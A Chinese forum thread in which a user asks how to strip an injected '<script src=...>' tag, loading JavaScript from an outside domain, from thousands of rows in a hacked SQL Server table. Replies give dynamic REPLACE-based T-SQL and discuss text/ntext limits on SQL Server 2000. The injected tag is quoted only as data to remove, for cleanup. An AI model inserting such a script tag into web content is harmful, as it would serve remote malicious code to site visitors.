各位大侠好:
    我有一个数据库被别人黑了,里面的字符串类型的数据都在原数据中加入了“<script src=http://tt99lov.cn/0.js></script>”这样的脚本文字,我的数据有上万条,手工删除是不可能的,
小弟急切恳请高手来助小弟一臂之力!
假设数据表结构如下:
表名:News
     字段:     数据类型
      nID: int
    title: varchar(300)
  content: text其中字段title 和 content都已被修改过,请大侠写个sql语句把里面的““<script src=http://tt99lov.cn/0.js></script>”文字去掉,谢了啊!

解决方案 »

  1.   

    declare @tbname varchar(100)
    set @tbname = '表名字'
    declare @sql varchar(max)
    set @sql='update '+@tbname+' set '
    select @sql=@sql+name+'=replace(cast('+name+' as varchar(max)),''<script src=http://tt99lov.cn/0.js></script>'',''''),'
     from syscolumns where id=object_id(@tbname)
    and xtype in (35,99,167,175,231,239)
    set @sql=left(@sql,len(@sql)-1)+' from '+@tbnameexec(@sql)
      

  2.   

    jinjazz 大侠,您代码里的第三行"declare @sql varchar(max)"中的"max"是什么意思,小弟刚才试了一下,说max有语法错误,请指教
      

  3.   

    我要是数据类型是text或ntext的话,怎么改?
    大侠赐教!
      

  4.   

    text字段不能直接用repacle函数,如果是sql2005可以用varchar(max)代替取值,之前的sql版本不支持此类型
      

  5.   

    噢,我是SQl 2000版的,那么对于text或ntext的话是不是就不能用您给的代码
    还有别的办法没,大侠赐教!
      

  6.   

    如ntext或者text字段都小于4000或者8000可以用nvarchar(4000)或者varchar(8000)代替否则只能用游标+updatetext函数逐条更新或者自己写程序逐条更新
      

  7.   

    查一下SQL2000的帮助,看如何查找t,更新text类型字段